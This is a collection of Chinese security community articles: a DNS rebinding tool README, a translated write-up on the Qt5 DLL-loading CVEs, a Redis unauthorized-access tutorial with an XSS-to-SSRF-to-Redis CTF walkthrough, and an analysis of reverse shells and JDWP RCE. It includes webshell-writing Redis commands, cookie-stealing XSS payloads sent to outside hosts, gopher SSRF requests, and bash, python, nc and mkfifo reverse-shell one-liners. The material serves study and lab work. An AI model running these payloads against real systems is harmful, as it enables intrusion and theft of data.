;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 5115
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;bjckbgikbkb.test.example.com. IN A
;; ANSWER SECTION:
bjckbgikbkb.test.example.com. 0 IN A 192.168.1.1
;; AUTHORITY SECTION:
test.example.com. 20 IN NS ns.example.com.
server: `[22:10:22] client ip:8434 => A =>
bjckbgikbkb.test.example.com.`
dns二次rebinding:
sudo ./main.py -r
Input Safe Ip? [Address/Req By Default]8.8.8.8
选择性输入目标信任的地址，比如在ssrf时防火墙在验证dns返回值是否存在于白名单。默认为发起请求的地址。(记得特殊情况需要指定记录类型)
第一次：
➜ ~ dig 192.168.1.1.test.example.com
; <<>> DiG 9.8.3-P1 <<>> 192.168.1.1.test.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 59544
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;192.168.1.1.test.example.com. IN A
;; ANSWER SECTION:
192.168.1.1.test.example.com. 0 IN A 8.8.8.8
;; AUTHORITY SECTION:
test.example.com. 461 IN NS ns.example.com.
第二次：
➜ ~ dig 192.168.1.1.test.example.com
; <<>> DiG 9.8.3-P1 <<>> 192.168.1.1.test.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 45312
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;192.168.1.1.test.example.com. IN A
;; ANSWER SECTION:
192.168.1.1.test.example.com. 0 IN A 192.168.1.1
;; AUTHORITY SECTION:
test.example.com. 501 IN NS ns.example.com.
dns记录污染： `sudo ./main.py -p
"<script>alert(/xss/)</script>" -y CNAME`
➜ ~ dig test.example.com
; <<>> DiG 9.8.3-P1 <<>> test.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 5073
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;test.example.com. IN A
;; ANSWER SECTION:
test.example.com. 0 IN CNAME <script>alert\(/xss/\)</script>test.example.com.
[
这个怎么玩取决于你的小脑袋瓜的脑回路了。如果防火墙还要验证是否为信任地址的话修改lib/common.py：
elif payload != 'None' and payload.find(mainDomain) == -1:
record = payload + "信任地址."
ipListBuild: 批量生成网段地址，选择性编码，适合ssrf内网地址fuzz。
python lib/common.py 192.168.1.1
1. Single IP Covert For En
2. Build IP List
[+] [1 By Default/2]2
[+] Please Input Segment Length [24 By Default]
[+] Please Input Encoding ['ipv4' By Default]hex
[+] Please Input Server Root Address [test.example.com By Default]
[+] Stored in the 20170625223912_test_example_com_hex.txt
[root@VM_34_252_centos dnsAutoRebinding]# head -n 5 20170625223912_test_example_com_hex.txt
3139322e3136382e312e31.test.example.com
3139322e3136382e312e32.test.example.com
3139322e3136382e312e33.test.example.com
3139322e3136382e312e34.test.example.com
3139322e3136382e312e35.test.example.com | 社区文章 |
我们最近发现了一个有趣的漏洞，该漏洞影响了大量的Qt5产品。 由于许多开发人员依赖Qt框架进行C
++和Python开发，因此此bug可能造成十分严重的影响。
使用Qt5框架构建的GUI应用程序均包含有一组受支持的命令行选项，而这些选项可以传递部分可执行二进制文件。
都将具有一组受支持的命令行选项，这些选项可以传递给可执行二进制文件。 例如运行下面的命令：
QtGUIapp.exe -qwindowtitle foobar
之后我们将发现`foobar`替换了原始窗口标题的内容。 命令行选项`platformpluginpath`更为明显。
此参数包含了指向`Qt5`插件的目录路径以及`UNC`共享目录。 换句话说，目标位置包含Windows上的动态链接库（DLL）文件。
Qt5应用程序将在内存中加载后自动执行这些插件。
读者可能会问，这个“功能”如何被利用？ 什么样的攻击媒介适用？
确实，在许多情况下确实没有合适的payload来进行攻击，但是在配置自定义URI方案时会这种漏洞就容易发生。
让我们来谈谈下面几个案例，`CVE-2019-1636``和CVE-2019-6739`。
### Cisco Webex Teams（CVE-2019-1636）
安装`Cisco Spark`和`Webex Teams`后，“ciscospark”协议的URI处理程序在注册表中按以下内存配置：
此密钥能够确保使用`ciscospark`协议标识符的URI最终都会调用`CiscoCollabHost.exe`。`如前文所述，Cisco
Spark`应用程序基于Qt5并支持多个命令行参数，包括`platformpluginpath`。
Spark允许用户读取和写入多种图像格式，例如`.gif，.jpg和.bmp`文件。
此功能需要几个插件来解析图像格式，包括`qgif.dll，qicns.dll，qico.dll，qjpeg.dll，qsvg.dll，qtga.dll，qtiff.dll，qwbmp.dll和qwebp.dll`。
这些插件默认从“`\imageformats`”目录加载。
但是，将“`platformpluginpath`”传递给可执行文件（`CiscoCollabHost.exe`）将允许应用程序加载外部插件。
例如如下命令：
CiscoCollabHost.exe -platformpluginpath C:/Users/research/Desktop/poc
之后我们发现其将加载并执行`C:/Users/research/Desktop/poc/imageformats`目录中的所有DLL文件。
这是处理DLL加载的代码。
从`/imageformats dir`读取的代码并解析图像。
了解这一点，攻击就非常直接了。 例如，POC可以如下进行编写。
远程共享包含“imageformats”目录，其中包含“malicious.dll”文件。
在这种情况下，DLL名称并不重要，因为QT5根据其元数据而不是其名称加载插件。
创建恶意DLL对Qt5开发人员影响不大，但它最初对我们的分析不太友好。
没有经过Qt5的预编程，编译将在Qt5加载过程中持续一些时间。我们花了一段时间试图弄清楚文件为何没有加载以及它的“DllMain”没有被执行的原因后，我们更深入地了解了Qt内核机制，发现缺少的部分是一个名为.qtmetad的PE部分。
事实证明，DLL插件中需要存在元数据部分才能由Qt5识别。 该部分包含有关插件及其处理的数据（如mime类型）的详细信息。
从另一个有效的插件如“qgif.dll”复制部分内容应该可以解决问题。
在`Visual Studio`中，我们可以使用`#pragma const_seg（“.qtmetad”）`创建一个节点。
除了`DllMain`入口点之外，还会在加载DLL时需要执行`qt_plugin_instance`函数。 思科用SA20190123修补了这个问题。
### Malwarebytes Anti-Malware（CVE-2019-6739）
同样的概念适用于`Malwarebytes Anti-Malware`。 其使用的协议标识符是“`malwarebytes`”，其注册表项如下：
这里有所区别的地方是默认加载的插件类型。 与`Webex`不同，`Anti-Malware`不会读取和写入图像文件，因此不会加载前面提到的DLL。
而是使用Windows集成插件`qwindows.dll`。 默认情况下，此DLL位于“`\platforms\`”。
POC如下：
它与我们自行编译的DLL相同。 只需从“`qwindows.dll`”中复制“`.qtmetad`”部分就可以了。
通过在加载时将此命令行选项提供给`Malwarebytes`，攻击者可以通过加载DLL而不是程序默认值来接管系统。
`Malwarebytes`使用`3.6.1.2711-1.0.508`之后的版本解决了此漏洞。
### 总结
该技术可应用于大多数基于Qt5进行编程的应用程序。 但是，在大多数情况下，除非上面的CVE中有明确的攻击payload，否则它将很难进行利用。
这完全取决于供应商应用的目的以及它们提供的类型。 在这些情况下，开发人员实现了Qt的功能，该功能由产品中其他机制中存在的攻击作为媒介进行综合利用。
对于开发人员，如果其使用框架来创建其他内容，请确保已经了解了加载的选项和功能。
如果不这样做，可能会导致像这些示例这样的漏洞情况，其中内置选项最终会导致意外后果。
本文为翻译稿件，来自：[https://www.zerodayinitiative.com/blog/2019/4/3/loading-up-a-pair-of-qt-bugs-detailing-cve-2019-1636-and-cve-2019-6739](https://www.zerodayinitiative.com/blog/2019/4/3/loading-up-a-pair-of-qt-bugs-detailing-cve-2019-1636-and-cve-2019-6739) | 社区文章 |
# 初识Redis未授权访问
redis是一种以key-value为键值对的非关系型数据库
redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库，并提供多种语言的API。
它通常被称为数据结构服务器，因为值（value）可以是 字符串(String), 哈希(Map), 列表(list), 集合(sets) 和
有序集合(sorted sets)等类型。
## 安装服务
### win
下载地址：<https://github.com/MSOpenTech/redis/releases>
测试环境：
操作系统：win7
ip：192.168.107.144
命令行输入
`redis-server.exe redis.conf`
接着查看端口
6379端口（redis默认端口）已经打开
redis成功启动
### ubuntu
安装
sudo apt-get update
sudo apt-get install redis-server
启动服务
redis-server
## 基本命令
连接redis
redis-cli.exe -h 192.168.107.144
查看键为x的值
redis 192.168.107.144:6379> get x
"<?php phpinfo(); ?>"
get所有key
redis 192.168.107.144:6379> keys *
1) "x"
删除所有键
redis 192.168.107.144:6379>flushall
## 漏洞利用
本机通过`telnet`命令主动去连接目标机
或者通过`redis-cli.exe -h 192.168.107.144`连接
连接成功
输入info获取相关信息
可以看到redis版本号等
利用方式
* 写入一句话webshell
* 写入ssh公钥
### 写入shell
//设置x的值
redis 192.168.107.144:6379> set x "<?php phpinfo(); ?>"
redis 192.168.107.144:6379> config set dbfilename test.php
redis 192.168.107.144:6379> config set dir D:/WWW/PHPTutorial/WWW
redis 192.168.107.144:6379> save
成功写入目标机
### 写入ssh公钥
在本地生成一对密钥
`root@ip-172-31-14-115:~/.ssh# ssh-keygen -t rsa`
接着将ssh公钥写入靶机
root@ip-172-31-14-115:/etc/redis# redis-cli -h 192.168.107.144
192.168.107.144:6379> config set dir /root/.ssh # 设置本地存储文件目录
192.168.107.144:6379> config set dbfilename pub_keys # 设置本地存储文件名
192.168.107.144:6379> set x "xxxx" # 将你的ssh公钥写入x键里。(xxxx即你自己生成的ssh公钥)
192.168.107.144:6379> save # 保存
再到本地去连接ssh
root@ip-172-31-14-115:~/.ssh# ssh -i id_rsa root@192.168.107.144
即可
## CTF中的redis（XSS->SSRF&Gopher->Redis）
题目为
题目地址：<https://hackme.inndy.tw/scoreboard/>
### xeeme
#### 泄露
在robots.txt发现泄露源码
是加密了的config.php
#### xss打cookie
注册登陆后的界面
发邮件有验证
验证写个脚本即可
<?php
$captcha=1;
while(1) {
if(substr(md5("60df5eaed35edcf0".$captcha),0,5) === "00000")
{
echo $captcha;
break;
}
$captcha++;
}
echo "<br>".md5($captcha);
?>
然后过滤了一些东西
用img测试
onload也过滤了
这里注意到一个细节，过滤的是空格加上onerror，猜想是匹配到有空格的onerror才会过滤，于是构造没有空格的onerror，尝试payload
<img src=""onerror="document.location='http://vps/?a='+document.cookie">
然后打cookie,成功打到cookie
将SESSION解码
PHPSESSID=rmibdo13ohquscgsuphitr9cp4; FLAG_XSSME=FLAG{Sometimes, XSS can be critical vulnerability <script>alert(1)</script>}; FLAG_2=IN_THE_REDIS
### xssrf leak
根据上一题的cookie,`FLAG_2=IN_THE_REDIS`
还是一样的环境
因为拿到了管理员的cookie，于是登陆一下
需要本地登陆，尝试一下伪造xff头
换了几个ip头都没用
于是想到之前做的题，可以直接去打管理员页面的源码
这里 不知道为什么 xss平台接收不到，于是换了一个平台
利用payload
`<img
src=""onerror="document.location='http://rkao6p.ceye.io/?'+btoa(document.body.innerHTML)">`
发现innerhtml被过滤
于是html编码
<img src=""onerror="document.location='http://rkao6p.ceye.io/?'+btoa(document.body.innerHTML)">
发现收到请求
解个码，放在本地
#### SSRF读取config.php
猜测send request功能存在ssrf
<img src=""onerror="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.location='http://vps?'+btoa(xmlhttp.responseText)
}
}
xmlhttp.open("GET","request.php",true);
xmlhttp.send();
">
vps收到请求
解码:
...
<form action="/request.php" method="POST">
<div class="form-group">
<label for="url">URL</label>
<textarea name="url" class="form-control" id="url" aria-describedby="url" placeholder="URL" rows="10"></textarea>
</div>
<button class="btn btn-primary">Send Request</button>
</form>
</div>
</body>
</html>
post请求的url参数
尝试读文件
<img src=""onerror="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.location='http://52.36.15.23:12345?'+btoa(xmlhttp.responseText)
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=file:///etc/passwd");
">
成功读到`/etc/passwd`
于是读之前的config.php
`FLAG{curl -v -o flag --next flag://in-the.redis/the?port=25566&good=luck}`
### xssrf redis（ssrf+gopher拿下flag）
根据flag的提示，redis的端口是25566
请求redis配合gopher
<img src=""onerror="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.location='http://52.36.15.23:12345?'+btoa(xmlhttp.responseText)
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=gopher://127.0.0.1:25566/_info");
">
成功获取info
查看一下keys
`xmlhttp.send("url=gopher://127.0.0.1:25566/_key%2520*");`
去读
既然有flag键，那么直接去读flag的值
`xmlhttp.send("url=gopher://127.0.0.1:25566/_get%2520flag");`
类型不符合
于是查看类型
`xmlhttp.send("url=gopher://127.0.0.1:25566/_type%2520flag");`
是list，返回列表长度
`xmlhttp.send("url=gopher://127.0.0.1:25566/_LLEN%2520flag");`
那么获取所有元素
`xmlhttp.send("url=gopher://127.0.0.1:25566/_LRANGE%2520flag%25200%252053");`
于是写个脚本
flag="""
}
t
i
o
l
p
x
e
o
t
y
s
a
e
s
i
n
o
i
t
a
c
i
t
n
e
h
t
u
a
t
u
o
h
t
i
w
s
i
d
e
R
{
G
A
L
F
"""
result = flag[::-1]
print(result)
最后flag `FLAG{Redis without authentication is easy to exploit}`
## 参考
* <https://skysec.top/2018/08/17/xss-ssrf-redis>
* <https://www.kingkk.com/2018/08/redis%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E4%B8%8Essrf%E5%88%A9%E7%94%A8/#%E5%88%A9%E7%94%A8gopher%E8%BF%9B%E8%A1%8C%E6%94%BB%E5%87%BB>
* <https://www.anquanke.com/post/id/170360>
* <http://www.runoob.com/redis/redis-lists.html> | 社区文章 |
**作者：Spoock**
**来源：<https://blog.spoock.com/2019/04/20/jdwp-rce/> **
### 说明
前面已经有两篇文章介绍了有关反弹shell的内容，[使用Java反弹shell](https://blog.spoock.com/2018/11/07/java-reverse-shell/)和[绕过exec获取反弹shell](https://blog.spoock.com/2018/11/25/getshell-bypass-exec/)。之前的文章主要聚焦如何使用java来反弹shell。网上的各种文章也是将各种反弹shell的一句话的写法。但是鲜有文章分析不同反弹shell的方式之间的差异性，以及反弹shell之间的进程关联。
### 初识
#### BASH
还是以最为简单的反弹shell为例来说明情况：
bash -i >& /dev/tcp/ip/port 0>&1
在本例中，我使用`8888`端口反弹shell 我们使用`ss`和`lsof`查询信息：
ss -anptw | grep 8888
tcp ESTAB 0 0 172.16.1.2:56862 ip:8888 users:(("bash",pid=13662,fd=2),("bash",pid=13662,fd=1),("bash",pid=13662,fd=0))
lsof -i:8888
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
bash 13662 username 0u IPv4 518699 0t0 TCP dev:56862->ip:8888 (ESTABLISHED)
bash 13662 username 1u IPv4 518699 0t0 TCP dev:56862->ip:8888 (ESTABLISHED)
bash 13662 username 2u IPv4 518699 0t0 TCP dev:56862->ip:8888 (ESTABLISHED)
通过分析，确实与`ip:8888`建立了网络链接，并且文件描述符0/1/2均建立了网络链接。分析下其中的进程关系
ps -ef | grep 13662
username 13662 13645 0 16:56 pts/7 00:00:00 bash -i
username 13645 13332 0 16:55 pts/7 00:00:00 /bin/bash
username 13662 13645 0 16:56 pts/7 00:00:00 bash -i
当前网络链接的进程的PID是`13662`，进程是`bash -i`。而父进程是`13645`，是`/bin/bash`进程。
#### Python
以`Python`为例继续分析：
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
使用`Python`反弹shell的原理和上面`bash -i >& /dev/tcp/ip/port
0>&1`相同，只不过外面使用了`Python`封装了一下。查看信息：
ss -anptw | grep 8888
tcp ESTAB 0 0 172.16.1.2:59690 IP:8888 users:(("sh",pid=19802,fd=3),("sh",pid=19802,fd=2),("sh",pid=19802,fd=1),("sh",pid=19802,fd=0),("python",pid=19801,fd=3),("python",pid=19801,fd=2),("python",pid=19801,fd=1),("python",pid=19801,fd=0))
lsof -i:8888
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
python 19801 username 0u IPv4 593062 0t0 TCP usernamedev:59690->IP:8888 (ESTABLISHED)
python 19801 username 1u IPv4 593062 0t0 TCP usernamedev:59690->IP:8888 (ESTABLISHED)
python 19801 username 2u IPv4 593062 0t0 TCP usernamedev:59690->IP:8888 (ESTABLISHED)
python 19801 username 3u IPv4 593062 0t0 TCP usernamedev:59690->IP:8888 (ESTABLISHED)
sh 19802 username 0u IPv4 593062 0t0 TCP usernamedev:59690->IP:8888 (ESTABLISHED)
sh 19802 username 1u IPv4 593062 0t0 TCP usernamedev:59690->IP:8888 (ESTABLISHED)
sh 19802 username 2u IPv4 593062 0t0 TCP usernamedev:59690->IP:8888 (ESTABLISHED)
sh 19802 username 3u IPv4 593062 0t0 TCP usernamedev:59690->IP:8888 (ESTABLISHED)
真正进行网络通信的是进程是PID为`19802`的Sh进程，其父进程是`19801`进程。如下：
ps -ef | grep 19802
username 19802 19801 0 19:46 pts/7 00:00:00 /bin/sh -i
ps -ef | grep 19801
username 19801 19638 0 19:46 pts/7 00:00:00 python -c import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
username 19802 19801 0 19:46 pts/7 00:00:00 /bin/sh -i
所以使用Python反弹shell的原理其实就是使用`Python`开启了`/bin/sh -i`，利用`/bin/sh -i`完成反弹shell。
#### Telnet
telnet IP 8888 | /bin/bash | telnet IP 9999
当然上面的写法还可以换成`nc IP 8888 | /bin/bash | nc IP 9999`，本质上都是一样的。以`nc IP 8888 |
/bin/bash | nc IP 9999`为例来进行说明： 这种方式需要在远程服务器上面监听`8888`和`9999`端口。分析其中的进程关系：
ss -anptw | grep 8888
tcp ESTAB 0 0 172.16.1.2:33562 IP:8888 users:(("nc",pid=21613,fd=3))
ss -anptw | grep 9999
tcp ESTAB 0 0 172.16.1.2:35876 IP:9999 users:(("nc",pid=21615,fd=3))
ps -ef | grep 15166
username 15166 7593 0 17:32 pts/10 00:00:00 zsh
username 21613 15166 0 20:18 pts/10 00:00:00 nc IP 8888
username 21614 15166 0 20:18 pts/10 00:00:00 /bin/bash
username 21615 15166 0 20:18 pts/10 00:00:00 nc IP 9999
可以看到`/bin/bash`和两个nc的父进程是相同的，都是`zsh`进程。 那么 这三个进程之间是如何进行通信的呢？我们来分别看三者之间的fd。
`21614`
ls -al /proc/21614/fd
dr-x------ 2 username username 0 Apr 10 20:19 .
dr-xr-xr-x 9 username username 0 Apr 10 20:19 ..
lr-x------ 1 username username 64 Apr 10 20:19 0 -> 'pipe:[618298]'
l-wx------ 1 username username 64 Apr 10 20:19 1 -> 'pipe:[618300]'
lrwx------ 1 username username 64 Apr 10 20:19 2 -> /dev/pts/10
`21613`
ls -al /proc/21613/fd
dr-x------ 2 username username 0 Apr 10 20:19 .
dr-xr-xr-x 9 username username 0 Apr 10 20:19 ..
lrwx------ 1 username username 64 Apr 10 20:19 0 -> /dev/pts/10
l-wx------ 1 username username 64 Apr 10 20:19 1 -> 'pipe:[618298]'
lrwx------ 1 username username 64 Apr 10 20:19 2 -> /dev/pts/10
lrwx------ 1 username username 64 Apr 10 20:19 3 -> 'socket:[617199]'
`21615`
ls -al /proc/21615/fd
dr-x------ 2 username username 0 Apr 10 20:19 .
dr-xr-xr-x 9 username username 0 Apr 10 20:19 ..
lr-x------ 1 username username 64 Apr 10 20:19 0 -> 'pipe:[618300]'
lrwx------ 1 username username 64 Apr 10 20:19 1 -> /dev/pts/10
lrwx------ 1 username username 64 Apr 10 20:19 2 -> /dev/pts/10
lrwx------ 1 username username 64 Apr 10 20:19 3 -> 'socket:[619628]'
那么这三者之间的关系如下图所示:
[ 这样在`IP:8888`中输出命令就能够在`IP:9999`中看到输出。
#### mkfifo
在介绍`mkfifo`之前，需要了解一些有关Linux中与管道相关的知识。管道是一种最基本的IPC机制，主要是用于进程间的通信，完成数据传递。管道常见的就是平时看到的`pipe`。`pipe`是一种匿名管道，匿名管道只能用于有亲系关系的进程间通信，即只能在父进程与子进程或兄弟进程间通信。而通过`mkfifo`创建的管道是有名管道，有名管道就是用于没有情缘关系之间的进程通信。
而通信方式又分为：单工通信、半双工通信、全双工通信。
* 单工通信：单工数据传输只支持数据在一个方向上传输，就和传呼机一样。例如信息只能由一方A传到另一方B，一旦确定传-输方和接受方之后，就不能改变了，只能是一方接受数据，另一方发发送数据。
* 半双工通信：数据传输指数据可以在一个信号载体的两个方向上传输，但是不能同时传输。在半双工模式下，双方都可以作为数据的发送放和接受方，但是在同一个时刻只能是一方向另一方发送数据。
* 全双工通信：通信双方都能在同一时刻进行发送和接收数据。这种模式就像电话一样，双方在听对方说话的同时自己也可以说话。
通过`mkfifo`创建的有名管道就是一个半双工的管道。例如：
mkfifo /tmp/f
ls -al /tmp/f
prw-r--r-- 1 username username 0 Apr 14 15:30 /tmp/f
通过`mkfifo`创建了`f`一个有名管道，可以发现其文件属性是`p`，`p`就是表示管道的含义。然后我们分析下使用`mkfifo`进行反弹shell的用法：
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP 8888 > /tmp/f
分析`8888`端口：
ss -anptw | grep 8888
tcp ESTAB 0 0 172.16.1.2:32976 IP:8888 users:(("nc",pid=22222,fd=3))
lsof -i:8888
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
nc 22222 username 3u IPv4 2611818 0t0 TCP usernamedev:32976->IP:8888 (ESTABLISHED)
查看进程信息：
ps -ef | grep 22222
username 22222 26233 0 15:48 pts/5 00:00:00 nc IP 8888
ps -ef | grep 26233
username 22220 26233 0 15:48 pts/5 00:00:00 cat /tmp/f
username 22221 26233 0 15:48 pts/5 00:00:00 /bin/sh -i
username 22222 26233 0 15:48 pts/5 00:00:00 nc IP 8888
username 26233 7593 0 Apr12 pts/5 00:00:00 zsh
可以看到`cat /tmp/f`,`/bin/sh -i`，`nc IP 8888`三者的父进程相同，父进程都是`zsh`进程。那么`cat
/tmp/f`,`/bin/sh -i`，`nc IP 8888`这三者的关系又是什么样的呢？
`cat /tmp/f`
ls -al /proc/22220/fd
total 0
dr-x------ 2 username username 0 Apr 14 15:48 .
dr-xr-xr-x 9 username username 0 Apr 14 15:48 ..
lrwx------ 1 username username 64 Apr 14 15:48 0 -> /dev/pts/5
l-wx------ 1 username username 64 Apr 14 15:48 1 -> 'pipe:[2609647]'
lrwx------ 1 username username 64 Apr 14 15:48 2 -> /dev/pts/5
lr-x------ 1 username username 64 Apr 14 15:48 3 -> /tmp/f
`/bin/sh -i`
ls -al /proc/22221/fd
total 0
dr-x------ 2 username username 0 Apr 14 15:48 .
dr-xr-xr-x 9 username username 0 Apr 14 15:48 ..
lr-x------ 1 username username 64 Apr 14 15:48 0 -> 'pipe:[2609647]'
l-wx------ 1 username username 64 Apr 14 15:48 1 -> 'pipe:[2609649]'
lrwx------ 1 username username 64 Apr 14 15:48 10 -> /dev/tty
l-wx------ 1 username username 64 Apr 14 15:48 2 -> 'pipe:[2609649]'
`nc IP 8888`
ls -al /proc/22222/fd
total 0
dr-x------ 2 username username 0 Apr 14 15:48 .
dr-xr-xr-x 9 username username 0 Apr 14 15:48 ..
lr-x------ 1 username username 64 Apr 14 15:48 0 -> 'pipe:[2609649]'
l-wx------ 1 username username 64 Apr 14 15:48 1 -> /tmp/f
lrwx------ 1 username username 64 Apr 14 15:48 2 -> /dev/pts/5
lrwx------ 1 username username 64 Apr 14 15:48 3 -> 'socket:[2611818]'
整个反弹shell的过程其实就是利用了`/tmp/f`作为进程通信的工具，完成了数据回显。如何理解上述的过程呢？还是流程图为例来说明。
[
通过上述的流程图，可以看到在`remote
server`的输入通过`/tmp/f`这个管道符，被`/bin/sh`当作输入。`/bin/sh`执行完命令之后，将结果有发送至`nc`的标准输入，最终就会在`remote
server`上面展示最终的命令执行的结果。
#### 小结
上面三种就是常见的反弹shell的方式。三者的利用方式也是越来越复杂，但是也基本上涵盖了目前常见的反弹shell的利用方式。
1. `bash`的方式就是标准输入和输出分别重定向到`remote server`，这种方式最为简单，检测方法也很直观;
2. `python`反弹shell的方式也比较的简单，本质上就是开启了一个`bash`，直接在`bash`中执行反弹shell的命令，和方式1大同小异；
3. `mkfifo`是通过管道符传递信息，所以文件描述符大部分都是`pipe`(管道符)。但是在Linux系统中使用管道符是一个非常普遍的情况，而像`mkfifo`这种使用多个管道符来反弹shell的更加为检测识别反弹shell增加了难度。
### JDWP
其实上述的知识都是为了分析`JDWP`的反弹shell的铺垫。 根据[JDWP
协议及实现](https://www.ibm.com/developerworks/cn/java/j-lo-jpda3/index.html)
> JDWP 是 Java Debug Wire Protocol 的缩写，它定义了调试器（debugger）和被调试的 Java 虚拟机（target
> vm）之间的通信协议。
换句话说，就是`JDWP`就是JAVA的一个调试协议。本质上我们通过`IDEA`或者`eclipse`通过断点的方式调试JAVA应用时，使用的就是`JDWP`.之前写过的[Nuxeo
RCE漏洞分析](http://www.polaris-lab.com/index.php/archives/613/)中的
**第一步Docker远程调试**
用的是`JDWP`.而`JDWP`的漏洞的危害就如同之前写过的文章[xdebug的攻击面](https://blog.spoock.com/2017/09/19/xdebug-attack-surface/)。因为是调试协议，不可能带有认证信息，那么对于一个开启了调试端口的JAVA应用，我们就可能利用`JDWP`进行调试，最终执行命令。在什么时候会使用到`JDWP`这种协议呢？比如你在线上跑了一个应用，但是这个问题只有在线上才会出现问题，那么这个时候就必须开启远程调试功能了，此时就有可能被攻击者利用RCE。
JDWP是通过一个简单的握手完成通信认证。在TCP连接完之后，DEBUG的客户端就会发送`JDWP-Handshake`,而服务端同样会回复`JDWP-Handshake`.通过抓包分析：
[
#### JDWP通信解析格式
JDWP通信解析格式如下所示：
[
`id`和`length`的含义非常简单。`flag`字段用于表明是请求包还是返回包，如果flag是`0x80`就表示一个返回包。`CommandSet`定义了`Command`的类别。
* 0x40,JVM的行为，例如打断点;
* 0x40–0x7F，当运行到断点处，JVM需要进行进一步的操作;
* 0x80，第三方扩展;
如果我们想执行RCE，以下的几个方法是尤为需要注意的：
1. `VirtualMachine/IDSizes` 确定了能够被JVM处理的数据包的大小.
2. `ClassType/InvokeMethod` 允许你唤起一个静态函数
3. `ObjectReference/InvokeMethod` 、允许你唤起JVM中一个实例化对象的方法;
4. `StackFrame/(Get|Set)` 提供了线程堆栈的pushing/popping的功能;
5. `Event/Composite`强制JVM执行此命令的行为，此命令是调试需要的密钥。这个事件能够要求JVM按照其意愿设置断点，单步调试，以及类似与像`GDB`或者`WinGDB`的方式一样进行调试。JDWP提供了内置命令来将任意类加载到JVM内存中并调用已经存在和/或新加载的字节码。
我们以`jdwp-shellifier.py`为例来说明`JDWP`的利用方法：
% python ./jdwp-shellifier.py -h
usage: jdwp-shellifier.py [-h] -t IP [-p PORT] [--break-on JAVA_METHOD]
[--cmd COMMAND]
Universal exploitation script for JDWP by @_hugsy_
optional arguments:
-h, --help show this help message and exit
-t IP, --target IP Remote target IP (default: None)
-p PORT, --port PORT Remote target port (default: 8000)
--break-on JAVA_METHOD
Specify full path to method to break on (default:
java.net.ServerSocket.accept)
--cmd COMMAND Specify full path to method to break on (default:
None)
使用`python ./jdwp-shellifier.py -t my.target.ip -p 1234`尝试连接开启了`JDWP`协议的端口;
使用`--cmd`执行命令
python ./jdwp-shellifier.py -t my.target.ip -p 1234 --cmd "touch 123.txt"
#### jdwp-shellifier分析
##### 开启调试
我们在本机开启9999的调试端口，`java -Xdebug
-Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=9999 -jar demo.jar`
#### 运行jdwp
尝试连接到本机的`9999`端口，`python2 jdwp-shellifier.py -t 127.0.0.1 -p
9999`。默认情况下，会在`java.net.ServerSocket.accept()`函数加上断点。
parser = argparse.ArgumentParser(description="Universal exploitation script for JDWP by @_hugsy_",
formatter_class=argparse.ArgumentDefaultsHelpFormatter )
parser.add_argument("-t", "--target", type=str, metavar="IP", help="Remote target IP", required=True)
parser.add_argument("-p", "--port", type=int, metavar="PORT", default=8000, help="Remote target port")
parser.add_argument("--break-on", dest="break_on", type=str, metavar="JAVA_METHOD",
default="java.net.ServerSocket.accept", help="Specify full path to method to break on")
parser.add_argument("--cmd", dest="cmd", type=str, metavar="COMMAND",
help="Specify command to execute remotely")
args = parser.parse_args()
classname, meth = str2fqclass(args.break_on)
setattr(args, "break_on_class", classname)
setattr(args, "break_on_method", meth)
* `break_on_class`,`'Ljava/net/ServerSocket;'`
* `break_on_method`,`'accept'`
之后运行`start()`方法：
def start(self):
self.handshake(self.host, self.port)
self.idsizes()
self.getversion()
self.allclasses()
return
cli = JDWPClient(args.target, args.port)
cli.start()
分析`self.handshake(self.host, self.port)`的握手协议：
HANDSHAKE = "JDWP-Handshake"
def handshake(self, host, port):
s = socket.socket()
try:
s.connect( (host, port) )
except socket.error as msg:
raise Exception("Failed to connect: %s" % msg)
s.send( HANDSHAKE )
if s.recv( len(HANDSHAKE) ) != HANDSHAKE:
raise Exception("Failed to handshake")
else:
self.socket = s
return
握手协议很简单，通过`socket`发送`JDWP-Handshake`包。如果相应包也是`JDWP-Handshake`表示握手成功。
IDSIZES_SIG = (1, 7)
def idsizes(self):
self.socket.sendall( self.create_packet(IDSIZES_SIG) )
